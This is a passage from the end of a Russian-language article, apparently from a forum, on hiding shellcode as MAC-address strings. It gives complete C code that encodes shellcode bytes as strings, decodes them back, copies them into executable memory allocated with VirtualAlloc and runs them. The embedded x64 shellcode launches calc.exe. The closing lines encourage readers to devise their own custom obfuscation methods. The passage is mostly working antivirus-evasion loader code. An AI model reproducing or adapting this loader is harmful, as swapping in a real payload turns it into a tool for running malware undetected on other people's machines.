size_t shellcodeSize = sizeof(shellcode);
size_t macCount;
char** macAddresses = bytesToMAC(shellcode, shellcodeSize, &macCount);
if (macAddresses == NULL) {
return EXIT_FAILURE;
}
printf("char* macAddresses[] = {\n");
for (size_t i = 0; i < macCount; i++) {
printf("\"%s\"", macAddresses[i]);
if (i < macCount - 1) {
printf(",");
printf("\n");
}
free(macAddresses[i]);
}
printf(" };\n");
free(macAddresses);
return EXIT_SUCCESS;
}
C: Скопировать в буфер обмена
Code:
#include <windows.h>
#include <stdio.h>
unsigned char* MACToBytes(char** macAddresses, size_t macCount, size_t* bytesSize) {
*bytesSize = macCount * 6;
unsigned char* bytes = (unsigned char*)malloc(*bytesSize);
if (bytes == NULL) {
return NULL;
}
for (size_t i = 0; i < macCount; i++) {
unsigned char octets[6];
if (sscanf_s(macAddresses[i], "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
&octets[0], &octets[1], &octets[2],
&octets[3], &octets[4], &octets[5]) != 6) {
free(bytes);
return NULL;
}
memcpy(bytes + i * 6, octets, 6);
}
return bytes;
}
int main() {
char* macAddresses[] = {
"fc:48:83:e4:f0:e8",
"c0:00:00:00:41:51",
"41:50:52:51:56:48",
"31:d2:65:48:8b:52",
"60:48:8b:52:18:48",
"8b:52:20:48:8b:72",
"50:48:0f:b7:4a:4a",
"4d:31:c9:48:31:c0",
"ac:3c:61:7c:02:2c",
"20:41:c1:c9:0d:41",
"01:c1:e2:ed:52:41",
"51:48:8b:52:20:8b",
"42:3c:48:01:d0:8b",
"80:88:00:00:00:48",
"85:c0:74:67:48:01",
"d0:50:8b:48:18:44",
"8b:40:20:49:01:d0",
"e3:56:48:ff:c9:41",
"8b:34:88:48:01:d6",
"4d:31:c9:48:31:c0",
"ac:41:c1:c9:0d:41",
"01:c1:38:e0:75:f1",
"4c:03:4c:24:08:45",
"39:d1:75:d8:58:44",
"8b:40:24:49:01:d0",
"66:41:8b:0c:48:44",
"8b:40:1c:49:01:d0",
"41:8b:04:88:48:01",
"d0:41:58:41:58:5e",
"59:5a:41:58:41:59",
"41:5a:48:83:ec:20",
"41:52:ff:e0:58:41",
"59:5a:48:8b:12:e9",
"57:ff:ff:ff:5d:48",
"ba:01:00:00:00:00",
"00:00:00:48:8d:8d",
"01:01:00:00:41:ba",
"31:8b:6f:87:ff:d5",
"bb:f0:b5:a2:56:41",
"ba:a6:95:bd:9d:ff",
"d5:48:83:c4:28:3c",
"06:7c:0a:80:fb:e0",
"75:05:bb:47:13:72",
"6f:6a:00:59:41:89",
"da:ff:d5:63:61:6c",
"63:2e:65:78:65:00" };
size_t macCount = sizeof(macAddresses) / sizeof(macAddresses[0]);
size_t bytesSize;
unsigned char* bytes = MACToBytes(macAddresses, macCount, &bytesSize);
if (bytes == NULL) {
return EXIT_FAILURE;
}
void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (execMemory == NULL) {
free(bytes);
return EXIT_FAILURE;
}
memcpy(execMemory, bytes, bytesSize);
free(bytes);
((void(*)())execMemory)();
VirtualFree(execMemory, 0, MEM_RELEASE);
return EXIT_SUCCESS;
}
На этой ноте я бы хотел подводить итоги и заканчивать статью. Большое спасибо всем, кто прочитал до этого момента. Очень надеюсь, что кому-либо пригодится сказанное здесь. Само собой на этом не ограничиваются все методы, можно придумать и свой кастомный, тут дело лишь вашей фантазии и креативности. Всем успехов!